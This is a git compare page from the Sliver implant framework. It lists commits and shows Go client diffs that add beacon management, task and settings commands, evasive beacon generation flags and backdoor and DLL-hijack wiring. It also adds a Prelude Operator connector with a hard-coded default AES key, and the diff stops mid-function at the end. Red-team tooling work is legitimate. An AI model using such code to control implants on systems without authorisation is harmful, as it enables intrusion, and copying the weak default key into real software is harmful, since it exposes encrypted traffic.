Compare commits

...
Author SHA1 Message Date
a3sroot 43548ad4b2 Merged pr #509 2021-09-11 19:54:29 -05:00
moloch-- 09358666a1 Fix null http session bug and nil ptr in sessions cmd 2021-09-11 19:14:27 -05:00
moloch-- 213ad330c5 Fixed variable shadowing issue when executing multiple tasks 2021-09-11 15:19:25 -05:00
moloch-- f7d7bdc677 Implemented async versions of all fs commands 2021-09-11 13:23:29 -05:00
moloch-- c292ac4b28 The ls command works round trip 2021-09-11 10:43:59 -05:00
moloch-- f576c138c9 Added task counts and pb descriptions 2021-09-11 09:16:47 -05:00
moloch-- 216054e90c Implemented task rpc's 2021-09-10 18:48:30 -05:00
moloch-- 62e311fb6f Beacons can return results 2021-09-10 16:25:31 -05:00
moloch-- 90de32b6f2 Added additional settings 2021-09-10 13:27:13 -05:00
moloch-- b8b20711fe Implemented async task creation 2021-09-10 09:37:38 -05:00
moloch-- f87582462d Re-implemented UseCmd args 2021-09-10 07:58:28 -05:00
moloch-- 87fba59c57 Implemented client settings and customizable tables 2021-09-09 18:22:32 -05:00
moloch-- ab58a67df4 converted beacons cmd to table writer 2021-09-09 17:42:57 -05:00
moloch-- 424db7bdca Added command/settings and porting tables to use lib 2021-09-09 16:29:28 -05:00
moloch-- cec1451dec Do not export active session 2021-09-09 11:19:33 -05:00
moloch-- e79e3daf7d Updated use cmd 2021-09-07 18:11:52 -05:00
moloch-- 1a632f48ff Initial refactor of client code to support beacons and sessions 2021-09-07 17:43:35 -05:00
moloch-- 83adb36bbd Beacon rm tweaks 2021-09-06 20:43:06 -05:00
moloch-- 686452a65e Implemented rm beacon cmd 2021-09-06 20:36:08 -05:00
moloch-- e436e9ca89 Outlined beacon tasks 2021-09-06 19:49:05 -05:00
moloch-- db29281233 Implemented beacons cmd 2021-09-06 19:01:16 -05:00
moloch-- 65cea9eeb2 Wired handler to db 2021-09-06 17:47:46 -05:00
moloch-- 06a44f980b Basic beacon compiles 2021-09-06 15:06:08 -05:00
moloch-- 952f22583e Improvements to handling of poll timeout value 2021-09-06 11:14:43 -05:00
moloch-- 5429c8d45a Fix http client desync issue 2021-09-06 10:06:19 -05:00
moloch-- 9e8bfb62d7 Improvements to time handling, configurable client poll timeout 2021-09-06 09:55:47 -05:00
moloch-- 45ef2a27a9 Merged burned/health columns 2021-09-05 16:16:12 -05:00
moloch-- 93a1492a05 Fix time, moved more to int64 2021-09-05 14:05:40 -05:00
moloch-- b554b49b42 All time fields are int64 2021-09-05 12:25:10 -05:00
moloch-- e7d8495cb0 Server compiles 2021-09-05 11:16:50 -05:00
moloch-- 2ebb2734bf Merge stage, wip on server-side beacon support 2021-09-05 09:52:32 -05:00
rkervella 515b927791 Set default AES key 2021-09-05 09:56:17 +02:00
rkervella 35489e974f Rename operator to prelude-operator 2021-09-05 09:47:02 +02:00
rkervella e2cf688044 Merge branch 'prelude-operator' into stage 2021-09-05 09:45:55 +02:00
moloch-- 79772297bc wip on deticated beacon mode 2021-09-04 19:00:11 -05:00
moloch-- 7d4de43559 wip on deticated beacon mode 2021-09-04 17:39:08 -05:00
moloch-- 7df290386e wip on deticated beacon mode 2021-09-04 16:50:14 -05:00
moloch-- fc5673b33e Added fallback host uuid method 2021-09-04 14:10:07 -05:00
moloch-- 31a53a4cba Fix named pipe / unit tests 2021-09-04 12:59:26 -05:00
moloch-- 8967bcf35d Remove duplicate GetSpecialHandlers() 2021-09-04 12:27:34 -05:00
moloch-- 6d4b28731e Refactoring implant transports, and handlers 2021-09-04 12:11:16 -05:00
moloch-- 235201f701 Refactoring implant transports 2021-09-04 09:34:45 -05:00
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
291 changed files with 16980 additions and 6913 deletions

No files matched your search

+1
View File
@@ -1,5 +1,6 @@
/.vscode/*
/.devcontainer
/.idea
/Dockerfile.*
/*.sdk.tar.xz
+4
View File
@@ -26,6 +26,7 @@ import (
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
@@ -101,6 +102,9 @@ func Setup(force bool, echo bool) {
}
saveAssetVersion(appDir)
}
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
+73
View File
@@ -0,0 +1,73 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path/filepath"
)
const (
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
}
return settings, nil
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
}
}
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+4
View File
@@ -0,0 +1,4 @@
Beacons
========
This package implements the beacons command, which can be used to list and interact with beacons.
+103
View File
@@ -0,0 +1,103 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
}
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Tasks",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Next Check-in",
})
for _, beacon := range beacons {
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
}
tw.AppendRow(table.Row{
strings.Split(beacon.ID, "-")[0],
beacon.Name,
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
beacon.Transport,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
next,
})
}
con.Printf("%s\n", tw.Render())
}
+99
View File
@@ -0,0 +1,99 @@
package beacons
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
var (
// ErrNoBeacons - No sessions available
ErrNoBeacons = errors.New("no beacons")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(beacons.Beacons) == 0 {
return nil, ErrNoBeacons
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
keys := []string{}
for beaconID := range beaconsMap {
keys = append(keys, beaconID)
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
beacon.ID,
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return beaconsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+277 -28
View File
@@ -38,6 +38,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -55,14 +56,18 @@ import (
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
@@ -290,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Operators ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.PlayersStr,
Name: consts.OperatorsStr,
Help: "Manage operators",
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -381,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("session", "session ID or name", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.KillStr,
Help: "Kill a session",
@@ -418,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
Name: consts.TasksStr,
Help: "Beacon task management",
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
useCmd := &grumble.Command{
Name: consts.UseStr,
Help: "Switch the active session or beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon or session ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
useCmd.AddCommand(&grumble.Command{
Name: consts.BeaconsStr,
Help: "Switch the active beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(useCmd)
// [ Settings ] --------------------------------------------------------------
settingsCmd := &grumble.Command{
Name: consts.SettingsStr,
Help: "Manage client settings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
settingsCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save the current settings to disk",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: consts.TablesStr,
Help: "Modify tables setting (style)",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsTablesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "beacon-autoresults",
Help: "Automatically display beacon task results when completed",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsBeaconsAutoResultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "autoadult",
Help: "Automatically accept OPSEC warnings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAutoAdultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -550,6 +675,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -789,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("H", "http", "", "http(s) connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -804,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -814,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -827,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
generateCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Generate a beacon binary",
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 15, "beacon interval minutes")
f.Int64("S", "seconds", 0, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.GenerateBeaconCmd(ctx, con)
con.Println()
return nil
},
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
@@ -946,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1024,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(implantBuildsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ListCanariesStr,
Name: consts.CanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
@@ -1541,6 +1721,40 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Beacons ] ---------------------------------------------
beaconsCmd := &grumble.Command{
Name: consts.BeaconsStr,
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
con.Println()
return nil
},
}
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a beacon",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsRmCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -2341,4 +2555,39 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+4 -4
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -78,12 +78,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+26 -4
View File
@@ -22,28 +22,50 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
